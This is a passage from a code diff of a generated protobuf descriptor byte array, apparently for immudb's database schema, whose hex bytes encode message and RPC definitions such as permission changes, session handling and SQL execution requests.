+ 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, + 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, + 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, + 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, + 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, + 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, + 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, + 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, + 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, + 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, + 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, + 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, + 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, + 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, + 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, + 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, - 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, - 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, - 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, - 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, - 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, + 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, + 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, + 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, + 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, + 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, + 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, + 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, + 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, + 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, + 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, + 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, + 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 